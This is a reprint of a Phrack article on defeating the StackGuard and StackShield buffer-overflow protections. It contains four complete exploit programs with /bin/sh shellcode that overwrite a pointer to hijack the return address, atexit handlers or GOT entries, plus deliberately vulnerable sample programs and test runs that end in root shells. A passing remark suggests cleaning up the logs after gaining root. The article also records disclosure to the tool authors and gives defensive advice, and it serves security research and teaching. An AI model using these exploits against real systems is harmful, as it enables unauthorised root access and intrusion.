BYPASSING STACKGUARD AND STACKSHIELD − − P H R A C K M A G A Z I N E − Volume 0xa Issue 0x38

Pubblicato da ***Bulba and Kil3r <lam3rz@hert.org>*** il 05/01/2000

Livello ***avanzato***

Introduzione

−−−−| Preface

"When a buffer overwrites a pointer... The story of a restless mind."

This article is an attempt to demonstrate that it is possible to exploit stack overflow vulnerabilities on systems secured by StackGuard or StackShield even in hostile environments (such as when the stack is non−executable).

Iniziamo

−−−−| StackGuard Overview

According to its authors, StackGuard is a "simple compiler technique that virtually eliminates buffer overflow vulnerabilities with only modest performance penalties." [1]

We assume that the reader know how buffer overflow attacks work and how to write exploit code . If this is foreign to you, please see P49−14.

In a nutshell, we can change a function's return address by writing past the end of local variable buffer. The side effect of altering a function's return address is that we destroy/modify all stack data contained beyond end of the overflowed buffer.

What does StackGuard do? It places a "canary" word next to the return address on the stack. If the canary word has been altered when the function returns, then a stack smashing attack has been attempted, and the program responds by emitting an intruder alert into syslog, and then halts.

Consider the following figure:

```
... ...

|-----------------------------------|
| parameters passed to function     |
|-----------------------------------|
| function's return address (RET)   |
|-----------------------------------|
| canary                            |
|-----------------------------------|
| local frame pointer (%ebp)        |
|-----------------------------------|
| local variables                   |
|-----------------------------------|
... ...
```

To be effective, the attacker must not be able to "spoof" the canary word by embedding the value for the canary word in the attack string. StackGuard offers two techniques to prevent canary spoofing: "terminator" and "random".

A terminator canary contains NULL(0x00), CR (0x0d), LF (0x0a) and EOF (0xff) −− four characters that should terminate most string operations, rendering the overflow attempt harmless.

A random canary is chosen at random at the time the program execs. Thus the attacker cannot learn the canary value prior to the program start by searching the executable image. The random value is taken from /dev/urandom if available, and created by hashing the time of day if /dev/urandom is not supported. This randomness is sufficient to prevent most prediction attempts.

−−−−| StackShield

StackShield uses a different technique. The idea here is to create a separate stack to store a copy of the function's return address. Again this is achieved by adding some code at the very beginning and the end of a protected function. The code at the function prolog copies the return address to special table, and then at the epilog, it copies it back to the stack. So execution flow remains unchanged −− the function always returns to its caller. The actual return address isn't compared to the saved return address, so there is no way to check if a buffer overflow occurred. The latest version also adds some protection against calling function pointers that point at address not contained in .TEXT segment (it halts program execution if the return value has changed).

It might seem like these two systems are infallible. They're not.

−−−−| "Nelson Mengele must be free"

"...an attacker can bypass StackGuard protection using buffer overflows to alter other pointers in the program besides the return address, such as function pointers and longjmp buffers, which need not even be on the stack."[2]

OK. So. Do we need a bit of luck to overflow a function pointer or a longjmp? You bet! It's not exactly commonplace to find such a pointer located after our buffer, and most programs do not have it at all. It is much more likely to find some other kind of pointer. For example:

```
[root@sg StackGuard]# cat vul.c
```

```
// Example vulnerable program.
int f (char ** argv)
{
 int pipa; // useless variable
 char *p;
 char a[30];
 p=a;
 printf ("p=%x\t -- before 1st strcpy\n",p);
 strcpy(p,argv[1]); // <== vulnerable strcpy()
 printf ("p=%x\t -- after 1st strcpy\n",p);
 strncpy(p,argv[2],16);
 printf("After second strcpy ;)\n");
}

main (int argc, char ** argv) {
 f(argv);
 execl("back_to_vul","",0); //<-- The exec that fails
 printf("End of program\n");
}
```

As you can see, we just overwrite the return address by overflowing our buffer. But this will get us nowhere since our program is StackGuard protected. But the simplest, obvious route is not always the best one. How about we just overwrite the `p` pointer? The second (safe) strncpy() operation will go straight to memory pointed by us. What if p points at our return address on the stack? We're altering the function's return without even touching the canary.
So what do we require for our attack?
1. We need pointer p to be physically located on the stack after our buffer a[].
2. We need an overflow bug that will allow us to overwrite this p pointer (i.e.: an unbounded strcpy).
3. We need one *copy() function (strcpy, memcopy, or whatever) that takes *p as a destination and user−specified data as the source, and no p initialization between the overflow and the copy.
Obviously, given the above limitations not all programs compiled with StackGuard are going to be vulnerable, but such a vulnerabilities are out there. For example, the wu−ftpd 2.5 mapped_path bug, where overflowing the mapped_path buffer could alter the Argv and LastArg pointers used by setproctitle() resulting in the ability to modify any part of the process' memory. Granted, it was *data* based overflow (not stack−based) but, on the other hand, this shows that the requirements for our above vulnerability are definitely fulfilled in real world.
So how are we going to exploit it?
We overwrite p so it will point to the address of RET on the stack and thus the next *copy() will overwrite our RET without touching the canary :) Yes, we need to smuggle in the shellcode as well (we use argv[0]). Here is a sample exploit (we used execle() to make it environment independent):

```
[root@sg StackGuard]# cat ex.c
/* Example exploit no. 1 (c) by Lam3rZ 1999 :) */
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char addr[5]="AAAA\x00";
char buf[36];
int * p;
main() {
 memset(buf,'A',32);
 p = (int *)(buf+32);
 *p=0xbffffeb4; // <<== let us point at RET
 p = (int *)(addr);
 *p=0xbfffff9b; // <<== new RET value

 execle("./vul",shellcode,buf,addr,0,0);
}
```

As tested on a StackGuarded RH 5.2 Linux box:

```
[root@sg StackGuard]# gcc vul.c -o vul
[root@sg StackGuard]# gcc ex.c
[root@sg StackGuard]# ./a.out
p=bffffec4 -- before 1st strcpy
p=bffffeb4 -- after 1st strcpy
bash#
```

As you can see, the first strcpy() overwrites p, then strncpy() copies the new RET value so that when it returns it takes address of our shellcode. Kaboom!
This technique works with programs compiled with regular gcc or StackGuarded gcc, but StackShield compiled programs are proof against this.
−−−−| There is no spoon
I talked with Crispin Cowan <crispin@cse.ogi.edu>, one of the StackGuard developers and he proposed a remediation against above hack. Here's his idea:
"The XOR Random Canary defense: here, we adopt Aaron Grier's ancient proposal to xor the random canary with the return address. The canary validation code used on exit from functions then XOR's the return address with the proper random canary (assigned to this function at exec() time) to compute what the recorded random canary on the stack should be. If the attacker has hacked the return address, then the xor'd random canary will not match. The attacker cannot compute the canary to put on the stack without knowing the random canary value. This is effectively encryption of the return address with the random canary for this function.
The challenge here is to keep the attacker from learning the random canary value. Previously, we had proposed to do that by just surrounding the canary table with red pages, so that buffer overflows could not be used to extract canary values. However, Emsi's [described above] attack lets him synthesize pointers to arbitrary addresses."(The simplest solution there is to) "mprotect() the canary table to prevent the attacker from corrupting it."
We informed Crispin that we're going to write an article about it and his response was:
"I think we can have a revised StackGuard compiler (with the XOR random canary) ready for release on Monday."
That compiler has been released. [3] StackShield offers an (almost) equal level of security by saving the RET copy in safe place (of arbitrary location and size −− not necessarily a good practice however) and checking its integrity before doing the return.
We can bypass that.
If we have a pointer that can be manipulated, we can use it to overwrite things that can help us exploit a vulnerable overflow in a program. For example, take the fnlist structure that holds functions registered via atexit(3) or on_exit(3). To reach this branch of code, of course, the program needs to call exit(), but most programs do this either at the end of execution or when an error occurs (and in most cases we can force an error exception).
Let's look at the fnlist structure:

```
[root@sg StackGuard]# gdb vul
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
[...]
This GDB was configured as "i386-redhat-linux"...

(gdb) b main
Breakpoint 1 at 0x8048790
(gdb) r
Starting program: /root/StackGuard/c/StackGuard/vul

Breakpoint 1, 0x8048790 in main ()
(gdb) x/10x &fnlist
0x400eed78 <fnlist>: 0x00000000 0x00000002 0x00000003 0x4000b8c0
0x400eed88 <fnlist+16>: 0x00000000 0x00000003 0x08048c20 0x00000000
0x400eed98 <fnlist+32>: 0x00000000 0x00000000
```

We can see that it calls two functions: _fini [0x8048c20] and _dl_fini [0x4000b8c0] and that neither of these take any arguments (checkout glibc sources to understand how to read the fnlist content). We can overwrite both of these functions. The fnlist address is dependent on the libc library, so it will be the same for every process on a particular machine.
The following code exploits a vulnerable overflow when the program exits via exit():

```
[root@sg StackGuard]# cat 3ex.c
/* Example exploit no. 2 (c) by Lam3rZ 1999 :) */

char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char addr[5]="AAAA\x00";

char buf[36];
int * p;

main() {
memset(buf,'A',32);
p = (int *)(buf+32);
*p=0x400eed90; // <<== Address of entry in fnlist which we'll modify
p = (int *)(addr);
*p=0xbfffff9b; // <<== Address of new function to call (shellcode) :)
```

```
execle("./vul",shellcode,buf,addr,0,0);
}
```

As you can see our exploit has changed only by one line :)
Let's test it against our vulnerable program:

```
[root@sg StackGuard]# gcc 3ex.c
[root@sg StackGuard]# ./a.out
p=bffffec4 -- before 1st strcpy
p=400eed90 -- after 1st strcpy
After second strcpy ;)
End of program
bash#
```

As you can see our program gave us a shell after the end of normal execution. Neither StackGuard nor StackShield cannot protect against this kind of attack.
But what if our program do not call exit() but uses _exit() instead?
Let's see what happens when we overwrite the canary. A StackGuarded program will call __canary_death_handler() (this function is responsible for logging the overflow attempt and terminating the process). Let's look at it:

```
void __canary_death_handler (int index, int value, char pname[]) {
 printf (message, index, value, pname) ;
 syslog (1, message, index, value, pname) ;
 raise (4) ;
 exit (666) ;
}
```

As you can see, we have a call to exit() at the very end. Granted, exploiting the program this way will generate logs, but if there is no other way, it's a necessary evil. Besides, if you get root, you can just groom them later.
We received some email from Perry Wagle <wagle@cse.ogi.edu> (another Stackguard author): "I seem to have lost my change to have it call _exit() instead...". Currently StackGuard calls _exit().
Of course the above hack does not apply to StackShield. StackShield protection can be bypassed by overwriting the saved %ebp which is not protected. One way of exploiting it (under the worst conditions) was described in "The Frame Pointer Overwrite" by klog in Phrack 55 [4]. When program is compiled using StackShield with the '-z d' option it calls _exit() but this is not a problem for us.
----| Discovering the America
What if a system has been protected with StackGuard *and* StackPatch (Solar Designer's modification that makes stack nonexecutable)? Is *this* the worst case scenario? Not quite.
We developed a clever technique that can be used if none of the above methods can be used.
The reader is directed to Rafal Wojtczuk's wonderful paper "Defeating Solar Designer's Non-executable Stack Patch" [5]. His great idea was to patch the Global Offset Table (GOT). With our vulnerability we can produce an arbitrary pointer, so why not point it to the GOT? Let's use our brains. Look at vulnerable program:

```
printf ("p=%x\t -- before 1st strcpy\n",p);
strcpy(p,argv[1]);
printf ("p=%x\t -- after 1st strcpy\n",p);
strncpy(p,argv[2],16);
printf("After second strcpy :)\n");
```

Yes. The program writes our content (argv[2]) to our pointer then it executes library code, printf(). OK, so what we need to do is to overwrite the GOT of printf() with the libc system() address so it will execute system("After second strcpy :)\n"); Let's test it in practice. To do this, we disassemble the Procedure Linkage Table (PLT) of printf().

```
[root@sg]# gdb vul
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
[...]
This GDB was configured as "i386-redhat-linux"...

(gdb) x/2i printf
0x804856c <printf>: jmp *0x8049f18 <- printf()'s GOT entry
0x8048572 <printf+6>: pushl $0x8
(gdb)
```

OK, so printf()'s GOT entry is at 0x8049f18. All we need is to put the libc system() address at this location, 0x8049f18. According to Rafal's article we can calculate that our system() address is at: 0x40044000+0x2e740. 0x2e740 is an offset of __libc_system() in libc library:

```
[root@sg]# nm /lib/libc.so.6| grep system
0002e740 T __libc_system
0009bca0 T svcerr_systemerr
0002e740 W system
```

[Note: the reader might notice we didn't use a kernel with Solar's patch. We were having problems with init(8) halting after boot. We were running out of time to get this article done so we decided to go without the kernel patch. All that would change is the 0x40. On systems with Solar's patch, libc is at 0x00XXYYZZ. So, for example, the above address would look like 0x00044000+0x2e740, the 0x00 at the beginning will terminate our string. We're not 100% positive that StackPatch is compatible with StackGuard, it SHOULD be, and even if it isn't, it CAN be... But we're not sure yet.. If any knows, please drop us a note.]
OK, so let's test following exploit:

```
[root@sg]# cat 3ex3.c
/* Example exploit no. 3 (c) by Lam3rZ 1999 :) */

char *env[3]={"PATH=.",0};
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char addr[5]="AAAA\x00";
char buf[46];
int * p;

main() {
 memset(buf,'A',36);
 p = (int *)(buf+32);
 *p++=0x8049f18;// <== printf() GOT entry address
 p = (int *)(addr);
 *p=0x40044000+0x2e740;// <<== Address of libc system()
 printf("Exec code from %x\n",*p);
 execle("./vul",shellcode,buf,addr,0,env);
}
```

And test it!!!

```
[root@sg]# gcc 3ex3.c
[root@sg]# ./a.out
Exec code from 40072740
p=bffffec4 -- before 1st strcpy
p=8049f18 -- after 1st strcpy
sh: syntax error near unexpected token `:)'
sh: -c: line 1: `After second strcpy :)'
Segmentation fault (core dumped)
```

Hrm. That didn't work.
Unfortunately, as it happens, the printf() string contained special shell characters. In most cases if we exploit printf() to execute system() it will execute things like "Here we blah, blah and blah", so all we need is to create a "Here" shell script in our working directory (yes, we need our suid program to not set the PATH variable).
So what to do with our unexpected ':)' token?
Well it depends, sometimes you just have to forget about printf() and try to find a function that is executed after our exploitation, such that it takes plain text as the last argument. Sometimes, however, we can get luckier...
Imagine that our a[] buffer is the last local variable, so arguments passed on to functions called by our vulnerable function are just next to it on stack.
What if we persuade __libc_system() to skip the canary pushing? We can achieve that by jumping to __libc_system()+5 instead of __libc_system().
Well, we'll end up with +arguments shifted one place forward (i.e. arg1->arg2...), and the first 4 bytes of the last local variable on the stack are treated as the first argument. The printf() call we're trying to abuse takes just one argument, so the only argument that system() will get is pointer contained in the first 4 bytes of a[]. Just make it point to "/bin/sh" or something similar.
Overwriting the GOT works for StackGuard, StackShield and StackPatch. It can be used in case we cannot manipulate the whole content of what we're copying but only parts of it (as in wu-ftpd).
----| "Oily way"
The reader may think we're only showing her naive examples, that are probably not going to be found in the field. A vulnerable function that gets as its arguments a whole table of strings is somewhat uncommon. More often you'll find functions that look like this:

```
int f (char *string) {
```

```
[...]
char *p;
char a[64];
[...]
```

Check this out:

```
char dst_buffer[64]; /* final destination */
int f (char * string)
{
 char *p;
 char a[64];

 p=dst_buffer; /* pointer initialization */
 printf ("p=%x\t -- before 1st strcpy\n",p);
 strcpy(a, string); /* string in */

/* parsing, copying, concatenating ... black-string-magic */
/* YES, it MAY corrupt our data */

 printf ("p=%x\t -- after 1st strcpy\n",p);
 strncpy(p, a, 64); /* string out */
 printf("After second strcpy ;)\n");
}

int main (int argc, char ** argv) {
 f(argv[0]); /* interaction */
 printf("End of program\n");
}
```

You interact with the vulnerable function by passing it just one string...
But what if we're dealing with a system that has nonexecutable stacks, and libraries mapped to some strange address (with NULLs inside of it)?
We cannot patch the GOT with our address on the stack, because stack is not executable.
It may look like we're screwed, but read on! Our system is x86 based, and there are a lot of misconceptions about the ability to execute certain memory pages. Check out /proc/maps:

```
00110000-00116000 r-xp 00000000 03:02 57154
00116000-00117000 rw-p 00005000 03:02 57154
00117000-00118000 rw-p 00000000 00:00 0
0011b000-001a5000 r-xp 00000000 03:02 57139
001a5000-001aa000 rw-p 00089000 03:02 57139
001aa000-001dd000 rw-p 00000000 00:00 0
08048000-0804a000 r-xp 00000000 16:04 158
0804a000-0804b000 rw-p 00001000 16:04 158 <-- The GOT is here
bfffd000-c0000000 rwxp ffffe000 00:00 0
```

The GOT may seem to be non-executable, but SUPRISE! Good ole' Intel allows you to execute the GOT where ever you wish!
So all we have to do is stick our shellcode there, patch the GOT entry to point to it, and sit back and enjoy the show!
To facilitate that, here's a little hint: We just have to change two lines in supplied exploit code:

```
*p=0x8049f84; // destination of our strncpy operation
[...]
*p=0x8049f84+4; // address of our shellcode
```

All we need is a copy operation that can copy the shellcode right where we want it. Our shellcode is not size optimized so it takes more than 40 bytes, but if you're smart enough you can make this code even smaller by getting rid of jmp, call, popl (since you already know your address).
Another thing we have to consider are signals. A function's signal handler tries to call a function with a fucked up GOT entry, and program dies. But that is just a theoretical danger.
What's that now?
You don't like our vulnerable program?
It still looks somewhat unreal to you?
Then maybe we'll satisfy you with this one:

```
char global_buf[64];
int f (char *string, char *dst)
{
 char a[64];
```

```
 printf ("dst=%x\t -- before 1st strcpy\n",dst);
 printf ("string=%x\t -- before 1st strcpy\n",string);
 strcpy(a,string);
 printf ("dst=%x\t -- after 1st strcpy\n",dst);
 printf ("string=%x\t -- after 1st strcpy\n",string);

// some black magic is done with supplied string

 strncpy(dst,a,64);
 printf("dst=%x\t -- after second strcpy :)\n",dst);
}

main (int argc, char ** argv) {
 f(argv[1],global_buf);
 execl("back_to_vul","",0); //<-- The exec that fails
 // I don't have any idea what it is for
 // :)
 printf("End of program\n");
}
```

In this example we have our pointer (dst) on the stack beyond the canary and RET value, so we cannot change it without killing the canary and without being caught...
Or can we?
Both StackGuard and StackShield check whether RET was altered before the function returns to its caller (this done at the very end of function). In most cases we have enough time here to do something to take control of a vulnerable program.
We can do it by overwriting the GOT entry of the next library function called.
We don't have to worry about the order of local variables and since we don't care if canary is alive or not, we can play!
Here is the exploit:

```
/* Example exploit no. 4 (c) by Lam3rZ 1999 :) */
char shellcode[] = // 48 chars :)
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";

char buf[100];
int * p;

main() {
 memset(buf,'A',100);
 memcpy(buf+4,shellcode,48);
 p = (int *)(buf+80); // <=- offset of second f() argument [dest one]
 *p=0x8049f84;// <<== GOT entry of printf

 p = (int *)(buf);
 *p=0x8049f84+4;// <<== GOT entry of printf+4, there is our shellcode :)

 execle("./vul2","vul2",buf,0,0);
}
```

And the result:

```
[root@sg]# ./a.out
p=804a050 -- before 1st strcpy
argv1p=bfffff91 -- before 1st strcpy
p=8049f84 -- after 1st strcpy
argv1=41414141 -- after 1st strcpy
bash#
```

----| Conclusion
1) StackGuard/StackShield can save you in case of accidental buffer overflows, but not against a programmer's stupidity. Erreare humanum est, yeah right, but security programmers must not only be human, they must be security-aware-humans.
2) - By auditing your code - you may waste some time but you'll surely increase the security of the programs you're writing. - By using StackGuard/StackShield/whatever - you may decrease your system performance but in turn you gain additional layer of security. - By doing nothing to protect your program - you risk that someone will humiliate you by exploiting an overflow in your code, and if it happens, you deserve it! So, be perfect, be protected, or let the others laugh at you.
We welcome any constructive comments and improvements. You can contact us on Lam3rZ mailing list at <lam3rz@hert.org>.
Yes, yes... We know! No real working exploit yet :(We're working on it. Keep checking:

http://emsi.it.pl/
and
http://lam3rz.hack.pl/
−−−−| Addendum: Jan 5, 2000
We solved the problem with StackGuard on a system with Solar Designer's non−executable stack patch. We're not sure what caused the problem, but to avoid it, enable 'Autodetect GCC trampolines' and 'Emulate trampoline calls' during kernel configuration. We were running Slackware Linux without StackGuard and trampolines but with non−executable user stack but StackGuarded RH Linux refused to work in such a configuration... :)

Conclusioni

−−−−| Some GreetZ
− Kil3r
people I've been drinking with − because i've been drinking with you :)
people I'd like to drink with − because i will drink with you :)
people smarter than me − because you're better than I am − for being wonderful iso−8859−2 characters
Lam3rz − alt.pe0p1e.with.sp311ing.pr0b1emZ :)
koralik − ... just because
− Bulba
−−−−| References [1] Crispin Cowan, Calton Pu, Dave Maier, Heather Hinton, Jonathan Walpole, Peat Bakke, Steave Beattie, Aaron Grier, Perry Wagle and Qian Zhand. StackGuard: Automatic Adaptive Detection and Prevention of Buffer−Overflow Attacks http://www.immunix.org/documentation.html
[2] Crispin Cowan, Steve Beattie, Ryan Finnin Day, Calton Pu, Perry Wagle and Erik Walthinsen. Protecting Systems from Stack Smashing Attacks with StackGuard http://www.immunix.org/documentation.html
[3] Security Alert: StackGuard 1.21 http://www.immunix.org/downloads.html
[4] klog. The Frame Pointer Overwrite http://www.phrack.com/search.phtml?view&article=p55−8
[5] Rafal Wojtczuk. Defeating Solar Designer's Non−executable Stack Patch
http://www.securityfocus.com

Attenzione